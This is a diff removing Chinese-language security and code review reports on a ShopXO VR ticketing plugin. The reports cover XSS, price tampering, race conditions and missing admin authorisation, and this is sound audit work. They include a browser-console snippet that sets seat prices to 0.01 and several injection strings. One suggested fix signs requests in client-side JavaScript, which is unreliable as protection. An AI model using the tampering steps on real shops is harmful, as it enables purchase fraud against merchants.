`goods.content` 通常为商家编辑的富文本(包含图片、样式),`{|raw}` 等同于信任所有内容。虽然这是 ShopXO 标准做法,但 VR 票务插件独立使用此模板,放大了风险面。若 ShopXO 后台的内容过滤器存在绕过,此处直接受影响。
|
||||
|
||||
### 3.3 购票参数全由客户端计算,无服务端验签 ⚠️ 严重
|
||||
|
||||
**文件:** `ticket_detail.html:384-422`
|
||||
|
||||
```javascript
|
||||
submit: function() {
|
||||
var goodsParams = JSON.stringify([{
|
||||
goods_id: this.goodsId,
|
||||
spec_base_id: this.sessionSpecId,
|
||||
stock: this.selectedSeats.length, // JS 计算
|
||||
extension_data: extensionData // JS 构造,含价格
|
||||
}]);
|
||||
location.href = checkoutUrl + '&goods_params=' + encodeURIComponent(goodsParams);
|
||||
}
|
||||
```
|
||||
|
||||
**攻击路径:**
|
||||
1. 用户选择票价 ¥680 的座位
|
||||
2. 在浏览器 DevTools 中将 `stock` 改为 `0`,或将价格相关参数改为 `1`
|
||||
3. 跳转到结算页时携带修改后的 `goods_params`
|
||||
4. 服务端未重新校验价格,直接使用参数创建订单
|
||||
|
||||
这是**价格篡改漏洞**的典型客户端绕过。ShopXO 的标准商品流程有服务端价格校验,但此插件扩展了 `extension_data` 机制,若 ShopXO 内核未对此字段验签,则完全由前端控制。
|
||||
|
||||
### 3.4 `seatInfo.classes` 直接插入 HTML class 属性 ⚠️ 中等
|
||||
|
||||
**文件:** `ticket_detail.html:271`
|
||||
|
||||
```javascript
|
||||
rowsHtml += '<div class="vr-seat '+(seatInfo.classes||'')+'" '+
|
||||
'data-label="'+rowLabel+(colIndex+1)+'排'+(colIndex+1)+'座" '+
|
||||
'onclick="vrTicketApp.toggleSeat(this)"></div>';
|
||||
```
|
||||
|
||||
`seatInfo.classes` 来自 JSON 配置(`$vr_seat_template.seat_map`),若配置被攻击者篡改(admin account 被入侵),可注入 `" onclick="evil()"` 破坏属性边界。不过由于这是商家后台操作的座位模板,XSS 触发需要 admin 权限,风险较 `simple_desc` 低,但仍属于**存储型 XSS 的潜在入口**。
|
||||
|
||||
### 3.5 `loadSoldSeats()` 完全未实现 ⚠️ 中等
|
||||
|
||||
**文件:** `ticket_detail.html:370-378`
|
||||
|
||||
```javascript
|
||||
loadSoldSeats: function() {
|
||||
// TODO: 从后端加载已售座位
|
||||
// $.get(this.requestUrl + '?s=plugins/vr_ticket/index/sold_seats', {...});
|
||||
}
|
||||
```
|
||||
|
||||
已售座位状态全部由前端维护在 `soldSeats: {}` 空对象中。这意味着:
|
||||
- 用户看不到哪些座位已被购买
|
||||
- 可能出现"选了座位但提交时被告知已售"的糟糕体验(乐观锁失败)
|
||||
- 座位超卖问题完全取决于 ShopXO 的 stock 机制,而非座位级别锁
|
||||
|
||||
### 3.6 `renderSessions()` 中 spec_base_id 赋值错误 ⚠️ 轻微
|
||||
|
||||
**文件:** `ticket_detail.html:207`
|
||||
|
||||
```javascript
|
||||
data-spec-base-id="'+spec.spec_id+'" // 两次赋值为 spec_id
|
||||
```
|
||||
|
||||
代码将 `spec_id` 同时赋给了 `data-spec-id` 和 `data-spec-base-id`,两者值相同。若 ShopXO 中 `spec_id` 和 `spec_base_id` 是不同概念(规格ID vs 规格基价ID),则选座时传递给后端的是错误的 `spec_base_id`。
|
||||
|
||||
---
|
||||
|
||||
## 四、数据库 Schema(001_vr_tables.sql / EventListener.php)
|
||||
|
||||
### 4.1 `vr_tickets` 缺少 `spec_base_id` 独立索引 ⚠️ 建议
|
||||
|
||||
**文件:** `EventListener.php:60`
|
||||
|
||||
```sql
|
||||
KEY `idx_order_id` (`order_id`),
|
||||
KEY `idx_user_id` (`user_id`),
|
||||
KEY `idx_goods_id` (`goods_id`),
|
||||
KEY `idx_verify_status` (`verify_status`)
|
||||
-- 缺少 KEY `idx_spec_base_id` (`spec_base_id`)
|
||||
```
|
||||
|
||||
`spec_base_id` 用于关联具体座位规格,但查询(如按 spec_base_id 查已售座位数)需要全表扫描。建议添加:
|
||||
```sql
|
||||
KEY `idx_spec_base_id` (`spec_base_id`)
|
||||
```
|
||||
|
||||
### 4.2 `vr_seat_templates.category_id` UNIQUE 约束限制过死 ⚠️ 建议
|
||||
|
||||
**文件:** `EventListener.php:31`
|
||||
|
||||
```sql
|
||||
UNIQUE KEY `uk_category_id` (`category_id`)
|
||||
```
|
||||
|
||||
一个分类下只允许一个座位模板。若某演出分类需要支持多个场次(每个场次座位布局不同),必须复用同一模板或改代码。建议改为普通索引,或添加 `event_date` 等字段支持多模板。
|
||||
|
||||
### 4.3 `vr_tickets.seat_info` VARCHAR(255) 可能溢出 ⚠️ 轻微
|
||||
|
||||
**文件:** `EventListener.php:47`
|
||||
|
||||
座位信息(如"VIP区 A排 15座")若由多规格组合,255 字符可能不足。建议改为 VARCHAR(500) 或 TEXT。
|
||||
|
||||
### 4.4 字符集混用 ⚠️ 轻微
|
||||
|
||||
EventListener.php 建表使用 `utf8mb4_general_ci`,ShopXO 官方表通常使用 `utf8mb4_unicode_ci`。混用 COLLATE 可能导致 JOIN 查询排序结果不一致。
|
||||
|
||||
### 4.5 缺少退款后自动更新票状态的处理 ⚠️ 中等
|
||||
|
||||
`plugin.json` 声明了 `plugins_service_order_delete_success` 钩子但无实现函数。更关键的是:**退款成功后,`vr_tickets.verify_status` 不会被自动更新为 2(已退款)**。这意味着已退款订单的票仍处于"未核销"状态,可能被再次使用(如果退款后又重新发放了票的话)。需要在 `vr_ticket_order_refund_success()` 钩子中处理票状态变更。
|
||||
|
||||
---
|
||||
|
||||
## 五、Admin 接口安全性
|
||||
|
||||
### 5.1 `Verification.php` 和 `Ticket.php` 缺少权限校验 ⚠️ 中等
|
||||
|
||||
**文件:** `admin/controller/Verification.php` / `admin/controller/Ticket.php`
|
||||
|
||||
两个控制器均无 `__construct()` 或方法级别的权限检查(如 `Auth::check()`)。任何已登录的 ShopXO 用户(甚至低权限角色)若知道路由 `/plugins/vr_ticket/admin/ticket/verify`,即可:
|
||||
- 查询所有票记录(包含手机号、身份证等敏感信息)
|
||||
- 手动核销任意票
|
||||
- 导出完整 CSV
|
||||
|
||||
建议在基类或 `__construct()` 中添加:
|
||||
```php
|
||||
if (!AdminIsLogin() || !AdminIsAuth('vr_ticket')) {
|
||||
return view('', ['msg' => '无权限']);
|
||||
}
|
||||
```
|
||||
|
||||
### 5.2 `export()` 方法无权限和参数校验 ⚠️ 中等
|
||||
|
||||
**文件:** `admin/controller/Ticket.php:134-164`
|
||||
|
||||
```php
|
||||
public function export() {
|
||||
$goods_id = input('goods_id', 0, 'intval');
|
||||
$list = \Db::name('plugins_vr_tickets')->where($where)->order('id', 'desc')->select();
|
||||
ExportCsv($header, $data, 'vr_tickets_' . date('Ymd'));
|
||||
}
|
||||
```
|
||||
|
||||
无权限校验,无分页限制。若管理员批量导出所有票数据(包含手机号、身份证),导出的 CSV 文件本身成为数据泄露风险点。建议:
|
||||
- 增加权限校验
|
||||
- 导出时对敏感字段(phone、id_card)做部分遮蔽
|
||||
- 对导出操作记录审计日志
|
||||
|
||||
### 5.3 `verify()` 方法中 $verifier_id 由客户端控制 ⚠️ 中等
|
||||
|
||||
**文件:** `admin/controller/Ticket.php:116-117`
|
||||
|
||||
```php
|
||||
$verifier_id = input('verifier_id', 0, 'intval');
|
||||
$result = \app\plugins\vr_ticket\service\TicketService::verifyTicket($ticket_code, $verifier_id);
|
||||
```
|
||||
|
||||
`verifier_id` 直接取客户端参数传入,未校验该 ID 是否属于当前登录用户。这意味着:攻击者(哪怕只是普通 admin)可以**以任意核销员身份核销票**,伪造核销记录,污染核销统计。
|
||||
|
||||
**修复方案:**
|
||||
```php
|
||||
$current_verifier = \Db::name(BaseService::table('verifiers'))
|
||||
->where('user_id', AdminUserId())
|
||||
->find();
|
||||
if (empty($current_verifier)) {
|
||||
return DataReturn('您未被授权为核销员', -1);
|
||||
}
|
||||
$verifier_id = $current_verifier['id']; // 用当前登录用户对应的核销员ID,不信任客户端
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 六、安全性综合评估矩阵
|
||||
|
||||
| # | 严重度 | 类别 | 文件 | 问题 |
|
||||
|---|---|---|---|---|
|
||||
| S-01 | 🔴 严重 | 业务逻辑 | TicketService.php:23 | `onOrderPaid()` 无幂等性,重复支付可发多张票 |
|
||||
| S-02 | 🔴 严重 | XSS | ticket_detail.html:125 | `{$goods.simple_desc\|raw}` 直接输出 HTML |
|
||||
| S-03 | 🔴 严重 | XSS | ticket_detail.html:164 | `{$goods.content\|raw}` 富文本 XSS |
|
||||
| S-04 | 🔴 严重 | 业务逻辑 | ticket_detail.html:384 | 购票参数无服务端验签,价格可被篡改 |
|
||||
| S-05 | 🔴 严重 | 密钥管理 | BaseService.php:106 | `getQrSecret()` 硬编码默认回退密钥 |
|
||||
| M-01 | 🟡 中等 | 业务逻辑 | TicketService.php:138 | `verifyTicket()` TOCTOU 竞态,双核销员可同时核销 |
|
||||
| M-02 | 🟡 中等 | 加密 | BaseService.php:56 | AES-CBC 无 HMAC,密文可被篡改 |
|
||||
| M-03 | 🟡 中等 | 隐私/枚举 | TicketService.php:220 | `getQrCodeUrl()` 明文 base64 暴露 ticket_code |
|
||||
| M-04 | 🟡 中等 | 功能缺失 | ticket_detail.html:370 | `loadSoldSeats()` 未实现,座位图不显示已售座位 |
|
||||
| M-05 | 🟡 中等 | 兼容性 | EventListener.php:100 | `empty($cols)` 条件永不成立,ALTER TABLE 从不执行 |
|
||||
| M-06 | 🟡 中等 | 鉴权 | admin/controller/Ticket.php:116 | `verifier_id` 来自客户端,可伪造核销身份 |
|
||||
| M-07 | 🟡 中等 | 鉴权 | admin/controller/*.php | Admin 控制器无权限校验 |
|
||||
| L-01 | 🟢 轻微 | 架构 | EventListener.php | Enable/Disable 钩子缺失 |
|
||||
| L-02 | 🟢 轻微 | 业务逻辑 | EventListener.php | 订单删除钩子声明但无处理函数 |
|
||||
| L-03 | 🟢 轻微 | 数据完整性 | EventListener.php:47 | `seat_info` VARCHAR(255) 可能溢出 |
|
||||
| L-04 | 🟢 轻微 | 规范 | EventListener.php | 字符集混用 `general_ci` vs `unicode_ci` |
|
||||
| I-01 | 💡 建议 | 架构 | EventListener.php | `upgrade()` 空实现,无版本迁移框架 |
|
||||
| I-02 | 💡 建议 | 架构 | TicketService.php:96 | `issueTicket()` 二次写入时序问题(建议预生成 ref) |
|
||||
| I-03 | 💡 建议 | 安全 | admin/controller/Ticket.php:134 | 导出 CSV 无敏感字段遮蔽 |
|
||||
| I-04 | 💡 建议 | 数据库 | EventListener.php:31 | `category_id` UNIQUE 约束限制多模板场景 |
|
||||
| I-05 | 💡 建议 | 性能 | EventListener.php | `vr_tickets.spec_base_id` 缺少独立索引 |
|
||||
|
||||
---
|
||||
|
||||
## 七、与 SecurityEngineer 报告的交叉评审
|
||||
|
||||
两份报告独立完成,发现高度一致,但也各有侧重:
|
||||
|
||||
**一致确认的严重问题:**
|
||||
- `onOrderPaid()` 幂等性缺失(BackendArchitect §2.1 = SecurityEngineer S-01)
|
||||
- `verifyTicket()` TOCTOU 竞态(BackendArchitect §2.2 = SecurityEngineer S-02)
|
||||
- `|raw` XSS 漏洞(BackendArchitect §3.1-3.2 = SecurityEngineer M-03)
|
||||
- QR 密钥硬编码回退(BackendArchitect §2.6 = SecurityEngineer S-04)
|
||||
|
||||
**本报告独有发现:**
|
||||
- Admin 接口鉴权缺失(§5.1-5.3)
|
||||
- `verifier_id` 客户端可控(§5.2)
|
||||
- `ALTER TABLE` 条件逻辑错误导致字段从未添加(§1.3)
|
||||
- `seatInfo.classes` 属性注入风险(§3.4)
|
||||
- `renderSessions()` 中 spec_base_id 赋值 bug(§3.6)
|
||||
- 数据库字符集混用(§4.4)
|
||||
|
||||
**SecurityEngineer 报告独有发现:**
|
||||
- `vr_tickets.id_card` 明文存储身份证的法律合规风险
|
||||
- `plugins_service_order_delete_success` 钩子处理逻辑缺失
|
||||
|
||||
---
|
||||
|
||||
## 八、整体评分与修复优先级
|
||||
|
||||
### 修复优先级
|
||||
|
||||
**P0 — 上线前必须修复(漏洞可被直接利用):**
|
||||
1. S-01:`onOrderPaid()` 幂等性检查
|
||||
2. S-02/S-03:移除 `|raw` 或改用 `|htmlspecialchars`
|
||||
3. S-04:购票参数服务端验签/价格重算
|
||||
4. S-05:移除硬编码默认密钥回退,强制要求环境变量
|
||||
|
||||
**P1 — 上线前强烈建议修复(业务逻辑风险):**
|
||||
5. M-01:`verifyTicket()` 原子更新
|
||||
6. M-06:Admin 接口 `verifier_id` 鉴权
|
||||
7. M-07:Admin 控制器全局鉴权
|
||||
8. M-05:`ALTER TABLE` 逻辑修复
|
||||
|
||||
**P2 — 近期迭代中修复:**
|
||||
9. M-02:升级为 AES-GCM
|
||||
10. M-03:QR URL 使用加密 payload
|
||||
11. M-04:实现 `loadSoldSeats()`
|
||||
12. I-01:建立 upgrade 迁移框架
|
||||
|
||||
### 架构评分
|
||||
|
||||
| 维度 | 评分(1-10) | 说明 |
|
||||
|---|---|---|
|
||||
| 架构完整性 | 7 | Hook 链路清晰,但生命周期钩子不完整 |
|
||||
| 并发安全 | 2 | `onOrderPaid` 和 `verifyTicket` 均存在竞态 |
|
||||
| 输入安全 | 3 | XSS 和客户端参数篡改均未防护 |
|
||||
| 加密实现 | 6 | AES-256-CBC 实现正确,但缺 HMAC 认证 |
|
||||
| 数据库设计 | 6 | 字段合理,但缺索引和外键约束 |
|
||||
| Admin 接口安全 | 3 | 完全无鉴权,极易滥用 |
|
||||
| **综合** | **4.5** | 核心链路可行,但安全加固工作量较大 |
|
||||
|
||||
---
|
||||
|
||||
## 九、结论
|
||||
|
||||
vr-shopxo-plugin 的**核心业务逻辑链路**设计合理,充分利用了 ShopXO 的 Hook 扩展机制,无需修改内核代码。然而,**并发安全和接口鉴权**是当前最薄弱的两环,分别对应"票务系统"最核心的两个安全属性:**防重发**和**防滥用**。
|
||||
|
||||
当前代码若直接部署在生产环境,至少存在以下可被直接利用的攻击面:
|
||||
1. 支付重试导致的一票多发(财务损失)
|
||||
2. 任意登录用户伪造核销员身份(核销统计失真)
|
||||
3. Admin 通过 XSS 窃取用户 cookie(账户接管)
|
||||
4. 购票价格前端篡改(低价购票)
|
||||
|
||||
建议在正式上线前完成所有 P0 和 P1 项修复,并建立包含渗透测试的发布前安全评审流程。
|
||||
|
||||
---
|
||||
|
||||
*本报告由 BackendArchitect 独立完成,与 SecurityEngineer 的审计报告交叉印证。两份报告合并构成 vr-shopxo-plugin 的完整安全与架构评估。*
|
||||
|
|
@ -1,479 +0,0 @@
|
|||
# vr-shopxo-plugin 前端代码评审报告
|
||||
|
||||
> 评审人:FrontendDev
|
||||
> 日期:2026-04-15
|
||||
> 视角:HTML/CSS/JS 质量 / 座位图渲染逻辑 / 响应式设计 / 用户体验 / 观演人表单安全
|
||||
> 交叉参考:已合并 SecurityEngineer 和 BackendArchitect 报告,两者发现高度一致,以下从前端视角补充独立发现
|
||||
|
||||
---
|
||||
|
||||
## 一、执行摘要
|
||||
|
||||
vr-shopxo-plugin 的票务详情页(ticket_detail.html)承担了座位选择、场次切换、观演人信息收集等核心交互。作为用户购票流程的唯一入口,其代码质量直接影响用户体验和系统安全性。
|
||||
|
||||
经过全面评审,发现**2 个严重前端问题、4 个中等问题、5 项改进建议**。最关键的是**购票参数前端计算无服务端验签**,可导致价格篡改攻击;座位图渲染存在未处理的边界情况,CSS 缺乏响应式适配,移动端体验较差。
|
||||
|
||||
---
|
||||
|
||||
## 二、票务详情页(ticket_detail.html)评审
|
||||
|
||||
### 2.1 🔴 严重 — 购票参数前端计算,价格可被篡改
|
||||
|
||||
**位置:** 第 384-422 行 `submit()` 函数
|
||||
|
||||
```javascript
|
||||
var checkoutUrl = this.requestUrl + '?s=index/buy/index' +
|
||||
'&goods_params=' + encodeURIComponent(goodsParams);
|
||||
location.href = checkoutUrl;
|
||||
```
|
||||
|
||||
**问题分析:**
|
||||
|
||||
整个购票参数(goods_id、spec_base_id、stock、extension_data)由前端 JavaScript 计算后拼接 URL 跳转至 ShopXO 结算页。服务端**不重新计算价格**,完全信任客户端数据。
|
||||
|
||||
攻击者可通过以下步骤以 0.01 元购买任意座位:
|
||||
|
||||
1. 打开浏览器开发者工具
|
||||
2. 在控制台执行:
|
||||
```javascript
|
||||
// 修改座位价格为 0.01
|
||||
vrTicketApp.selectedSeats.forEach(s => s.price = 0.01);
|
||||
vrTicketApp.submit();
|
||||
```
|
||||
|
||||
3. 服务端收到 `goods_params` 中的 `stock` 和 `extension_data`,直接使用,不验价
|
||||
|
||||
**影响:**
|
||||
- 价格篡改漏洞(已由 BackendArchitect 标记,本报告从 JS 层面量化攻击路径)
|
||||
- 前端座位数量无服务端校验,可超购
|
||||
- `extension_data` 中的 `seat_info` 可伪造(客户端直接写入 JSON)
|
||||
|
||||
**修复建议:**
|
||||
```javascript
|
||||
// 方案一:改为 POST 请求,服务端验价
|
||||
$.post(this.requestUrl + '?s=plugins/vr_ticket/index/create_ticket_order', {
|
||||
goods_id: this.goodsId,
|
||||
spec_base_id: this.sessionSpecId,
|
||||
seats: JSON.stringify(this.selectedSeats),
|
||||
attendees: JSON.stringify(attendees)
|
||||
}, function(res) {
|
||||
if (res.code == 0) {
|
||||
location.href = res.data.checkout_url;
|
||||
}
|
||||
});
|
||||
|
||||
// 方案二:添加 HMAC 签名
|
||||
var payload = JSON.stringify({
|
||||
goods_id: this.goodsId,
|
||||
seats: this.selectedSeats,
|
||||
timestamp: Date.now()
|
||||
});
|
||||
var sig = CryptoJS.HmacSHA256(payload, clientSecret);
|
||||
location.href = checkoutUrl + '&sig=' + sig;
|
||||
```
|
||||
|
||||
### 2.2 🟡 中等 — 座位图渲染缺乏边界情况处理
|
||||
|
||||
**位置:** 第 255-282 行 `renderSeatMap()`
|
||||
|
||||
**问题一:座位图数据空值未处理**
|
||||
|
||||
```javascript
|
||||
map.map.forEach(function(rowStr, rowIndex) {
|
||||
var chars = rowStr.split('');
|
||||
chars.forEach(function(char, colIndex) {
|
||||
if (char === '_' || char === '-') {
|
||||
// 空白座位处理
|
||||
} else {
|
||||
var seatInfo = seats[char] || {}; // ⚠️ seats 字典可能为空
|
||||
var price = seatInfo.price || 0; // 价格为 0 时无座可买
|
||||
// ...
|
||||
}
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
**场景:** 后端 `seat_map` JSON 中 `seats` 字段缺失或为空,则所有字符都映射到空对象 `{}`,价格为 0。用户在 UI 上看到座位,但点击后价格显示 ¥0,提交时服务端可能拒绝或接受零价订单。
|
||||
|
||||
**问题二:座位类型图例颜色可能不匹配**
|
||||
|
||||
```javascript
|
||||
sections.forEach(function(sec) {
|
||||
var color = sec.color || '#409eff';
|
||||
legendHtml += '<div class="vr-legend-item"><div class="vr-legend-seat" style="background:'+color+'"></div>'+sec.name+'</div>';
|
||||
});
|
||||
```
|
||||
|
||||
图例中的 `sec.color` 直接作为 CSS 背景色,未做颜色格式校验(如 `rgb()`、`hsl()`、十六进制混用)。若数据库中存储了非法 CSS 值,可能破坏布局。
|
||||
|
||||
**问题三:座位 ID 直接使用字符映射,不安全**
|
||||
|
||||
```javascript
|
||||
'data-seat-id="'+char+'" '
|
||||
```
|
||||
|
||||
`char` 是座位图字符(如 `A`、`B`),直接作为 `seat-id` 属性值。如果 `char` 包含引号或特殊字符(实际上地图定义中不会出现,但作为防御性编程应转义),可能破坏 HTML 属性边界。
|
||||
|
||||
**修复建议:**
|
||||
```javascript
|
||||
// 1. 座位数据为空时给出明确提示
|
||||
if (!map.seats || Object.keys(map.seats).length === 0) {
|
||||
document.getElementById('seatRows').innerHTML = '<div style="text-align:center;color:#f56c6c;padding:40px">座位图配置错误,请联系管理员</div>';
|
||||
return;
|
||||
}
|
||||
|
||||
// 2. 价格为零时提示用户
|
||||
if (price === 0) {
|
||||
// 标记为"待定价"座位,禁用点击
|
||||
rowsHtml += '<div class="vr-seat sold" style="background:#999" title="该座位暂未定价"></div>';
|
||||
} else {
|
||||
// 正常渲染
|
||||
}
|
||||
|
||||
// 3. seat-id 转义
|
||||
var safeSeatId = String(char).replace(/"/g, '"');
|
||||
```
|
||||
|
||||
### 2.3 🟡 中等 — CSS 缺少响应式设计,移动端体验差
|
||||
|
||||
**位置:** 第 4-118 行 `<style>` 块
|
||||
|
||||
**问题分析:**
|
||||
|
||||
当前 CSS 没有使用媒体查询,针对以下场景无适配:
|
||||
|
||||
| 场景 | 当前行为 | 问题 |
|
||||
|------|---------|------|
|
||||
| 移动端 (<768px) | 横向溢出 | 座位图横向滚动失效,页面变形 |
|
||||
| 移动端选择座位 | 固定底部购买栏 | 按钮可能被虚拟键盘遮挡 |
|
||||
| 桌面端窄屏 (<1200px) | 正常 | 良好 |
|
||||
| 场次网格 | `minmax(150px, 1fr)` | 移动端可能显示为单列,浪费空间 |
|
||||
|
||||
**关键 CSS 问题:**
|
||||
|
||||
```css
|
||||
.vr-seat-map-wrapper { overflow-x: auto; } /* ✅ 有横向滚动 */
|
||||
|
||||
.vr-ticket-page { max-width: 1200px; } /* ❌ 移动端未适配 */
|
||||
.vr-seat { width: 28px; height: 28px; } /* ❌ 移动端过小,可改为 36px */
|
||||
|
||||
.vr-purchase-bar {
|
||||
position: fixed; bottom: 0; /* ✅ 固定底部 */
|
||||
/* 缺少: padding-bottom 避免被键盘遮挡 */
|
||||
}
|
||||
```
|
||||
|
||||
**修复建议:**
|
||||
```css
|
||||
/* 移动端适配 */
|
||||
@media (max-width: 768px) {
|
||||
.vr-ticket-page { padding: 12px; }
|
||||
.vr-seat { width: 36px; height: 36px; font-size: 11px; }
|
||||
.vr-row-label { width: 28px; font-size: 11px; }
|
||||
.vr-purchase-bar {
|
||||
padding-bottom: calc(12px + env(safe-area-inset-bottom));
|
||||
}
|
||||
.vr-session-item { padding: 12px; }
|
||||
}
|
||||
|
||||
/* 超窄屏 */
|
||||
@media (max-width: 480px) {
|
||||
.vr-seat { width: 32px; height: 32px; }
|
||||
}
|
||||
```
|
||||
|
||||
### 2.4 🟢 轻微 — 观演人表单字段无格式校验(前端)
|
||||
|
||||
**位置:** 第 352-368 行 `renderAttendeeForms()`
|
||||
|
||||
```html
|
||||
<input type="text" class="vr-attendee-input" placeholder="真实姓名 *" data-field="real_name" data-index="'+i+'" required>
|
||||
<input type="tel" class="vr-attendee-input" placeholder="手机号 *" data-field="phone" data-index="'+i+'" required>
|
||||
<input type="text" class="vr-attendee-input" placeholder="身份证号(选填)" data-field="id_card" data-index="'+i+'">
|
||||
```
|
||||
|
||||
**问题分析:**
|
||||
|
||||
1. **姓名**:无长度限制、无字符集限制。攻击者可提交 `<script>alert(1)</script>` 作为姓名,虽然后端可能过滤,但前端 DOM 中可能产生问题。
|
||||
|
||||
2. **手机号**:`type="tel"` 不做格式校验,理论上可以输入任意字符。缺少正则验证(如 `/^1[3-9]\d{9}$/`)。
|
||||
|
||||
3. **身份证**:无格式校验,可以提交 18 位或 15 位格式的任意数字。
|
||||
|
||||
4. **required 属性可被轻易绕过**:用户在浏览器控制台执行 `$('.vr-attendee-input').removeAttr('required')` 即可绕过。
|
||||
|
||||
**修复建议:**
|
||||
```javascript
|
||||
// 在 submit() 函数中增加前端校验
|
||||
submit: function() {
|
||||
// ... 登录检查 ...
|
||||
|
||||
// 观演人格式校验
|
||||
for (var i = 0; i < attendees.length; i++) {
|
||||
var a = attendees[i];
|
||||
if (!a.real_name || a.real_name.length < 2) {
|
||||
alert('第 ' + (i+1) + ' 位观演人姓名格式错误');
|
||||
return;
|
||||
}
|
||||
if (!/^1[3-9]\d{9}$/.test(a.phone)) {
|
||||
alert('第 ' + (i+1) + ' 位手机号格式错误');
|
||||
return;
|
||||
}
|
||||
if (a.id_card && !/^[1-9]\d{5}(19|20)\d{2}(0[1-9]|1[0-2])(0[1-9]|[12]\d|3[01])\d{3}[\dXx]$/.test(a.id_card)) {
|
||||
alert('第 ' + (i+1) + ' 位身份证号格式错误');
|
||||
return;
|
||||
}
|
||||
}
|
||||
// ... 后续提交逻辑 ...
|
||||
}
|
||||
```
|
||||
|
||||
### 2.5 🟢 轻微 — 已选座位 UI 缺少状态管理
|
||||
|
||||
**位置:** 第 315-338 行 `updateSelectedUI()`
|
||||
|
||||
**问题分析:**
|
||||
|
||||
```javascript
|
||||
document.getElementById('selectedCount').textContent = '(' + count + ')';
|
||||
document.getElementById('totalPrice').textContent = '¥' + total.toFixed(2);
|
||||
document.getElementById('barCount').textContent = count;
|
||||
document.getElementById('barPrice').textContent = '¥' + total.toFixed(2);
|
||||
```
|
||||
|
||||
直接操作 DOM,未使用框架式状态管理。如果 `selectedSeats` 数组被外部修改(如多 Tab 同时操作),UI 可能与数据不一致。
|
||||
|
||||
建议增加脏检查:
|
||||
```javascript
|
||||
// 标记 UI 需要更新
|
||||
this._uiDirty = true;
|
||||
requestAnimationFrame(function() {
|
||||
if (vrTicketApp._uiDirty) {
|
||||
vrTicketApp.renderSelectedList();
|
||||
vrTicketApp._uiDirty = false;
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
### 2.6 💡 建议 — 座位图字符集仅支持 ASCII,扩展性差
|
||||
|
||||
**位置:** 第 261-277 行
|
||||
|
||||
```javascript
|
||||
var chars = rowStr.split(''); // 按字符拆分
|
||||
var seatInfo = seats[char]; // 查座位配置
|
||||
```
|
||||
|
||||
座位图地图使用单个 ASCII 字符标识座位类型,若未来需要:
|
||||
- 支持多区域(多个舞台)
|
||||
- 支持不同价格层级
|
||||
- 支持情侣座(2 连座标记)
|
||||
|
||||
当前的单字符设计会达到瓶颈。建议改用数字 ID 或组合键(如 `A1`、`VIP2`)。
|
||||
|
||||
---
|
||||
|
||||
## 三、数据库 Schema 评审(前端视角)
|
||||
|
||||
### 3.1 💡 建议 — 座位表索引缺失可能导致查询慢
|
||||
|
||||
**文件:** `001_vr_tables.sql`
|
||||
|
||||
`vr_tickets.spec_base_id` 字段在 `verifyTicket` 查询中可能被使用,但当前仅有联合索引 `(goods_id, spec_base_id)`(若存在),无独立索引。对于按 `spec_base_id` 查所有票的场次管理查询,可能全表扫描。
|
||||
|
||||
**建议:**
|
||||
```sql
|
||||
KEY `idx_spec_base_id` (`spec_base_id`)
|
||||
```
|
||||
|
||||
### 3.2 💡 建议 — 座位图 JSON 无长度限制
|
||||
|
||||
座位模板表 `vr_seat_templates.seat_map` 为 LONGTEXT,理论上可存储任意大地图。但缺少:
|
||||
- 最大行数限制(防止恶意上传超大规模地图拖慢渲染)
|
||||
- 单行最大字符数校验
|
||||
|
||||
**建议:** 在后端插入/更新模板时校验 JSON 大小(如不超过 500KB)。
|
||||
|
||||
---
|
||||
|
||||
## 四、插件架构评审(前端视角)
|
||||
|
||||
### 4.1 🟡 中等 — `loadSoldSeats()` 未实现导致超卖风险
|
||||
|
||||
**文件:** `ticket_detail.html:370-378`
|
||||
|
||||
```javascript
|
||||
loadSoldSeats: function() {
|
||||
// TODO: 从后端加载已售座位
|
||||
}
|
||||
```
|
||||
|
||||
用户选择座位时,前端 `soldSeats` 永远为空对象 `{}`,即使用户选择了已售座位,后端可能在下单时拒绝(也可能接受,取决于后端实现)。这种不一致会导致:
|
||||
- 用户体验差(选了座位但被告知已售)
|
||||
- 超卖风险(若后端未校验 spec_base_id 的库存)
|
||||
|
||||
**建议:** 立即实现后端 API `/plugins/vr_ticket/index/sold_seats`,返回指定商品和场次的已售座位列表,前端在 `selectSession` 时调用并更新 `soldSeats` 标记。
|
||||
|
||||
### 4.2 💡 建议 — 座位数量无硬上限
|
||||
|
||||
`selectedSeats` 数组可以无限增长,用户理论上可以选择全场所有座位。虽然后端可能有库存限制,但前端无限制会给用户造成困惑(选了 100 个座位后才发现超限)。
|
||||
|
||||
**建议:** 在 `updateSelectedUI` 中增加最大座位数限制(如 8 张):
|
||||
```javascript
|
||||
if (this.selectedSeats.length >= 8) {
|
||||
alert('单次最多购买 8 张票');
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 五、安全性综合评审(前端维度)
|
||||
|
||||
### 5.1 🟡 中等 — `$goods.content|raw` 存储型 XSS
|
||||
|
||||
**文件:** `ticket_detail.html:164`
|
||||
|
||||
```html
|
||||
<div class="goods-detail-content">{$goods.content|raw}</div>
|
||||
```
|
||||
|
||||
`$goods.content` 是 ShopXO 富文本编辑器内容,包含 HTML/CSS/JS,直接 `|raw` 输出等同于存储型 XSS。虽然 ShopXO 后台可能有过滤,但跨站脚本风险仍然存在。
|
||||
|
||||
**修复建议:**
|
||||
```html
|
||||
<div class="goods-detail-content">{$goods.content|default=''}</div>
|
||||
```
|
||||
移除 `|raw`,让框架自动转义。若需要保留部分 HTML(图片、视频),使用白名单过滤库(如 HTMLPurifier)。
|
||||
|
||||
### 5.2 🟢 轻微 — `specData` JSON 输出未转义
|
||||
|
||||
**文件:** 第 203 行
|
||||
|
||||
```javascript
|
||||
var specData = {$goods_spec_data|json_encode|raw} || [];
|
||||
```
|
||||
|
||||
`json_encode|raw` 输出 JSON 数据到 JS,理论上可能存在 XSS。如果 `goods_spec_data` 中包含特殊字符(如 `</script>`),可能提前终止 `<script>` 块。ShopXO 的 `json_encode` 会正确转义,但为防御性编程,建议确保 JSON 数据包在 `<![CDATA[...]]>` 或独立的 `<script>` 块中。
|
||||
|
||||
**修复建议:**
|
||||
```javascript
|
||||
// 方案:将 JSON 放在<script>块内并加注释包裹防止 HTML 解析干扰
|
||||
// 在 JS 中用 JSON.parse() 解析,而不用 |raw 直接内联
|
||||
var specData = JSON.parse('{$goods_spec_data|json_encode}') || [];
|
||||
```
|
||||
|
||||
### 5.3 🟢 轻微 — `seatMap` 和 `specBaseIdMap` 数据泄露
|
||||
|
||||
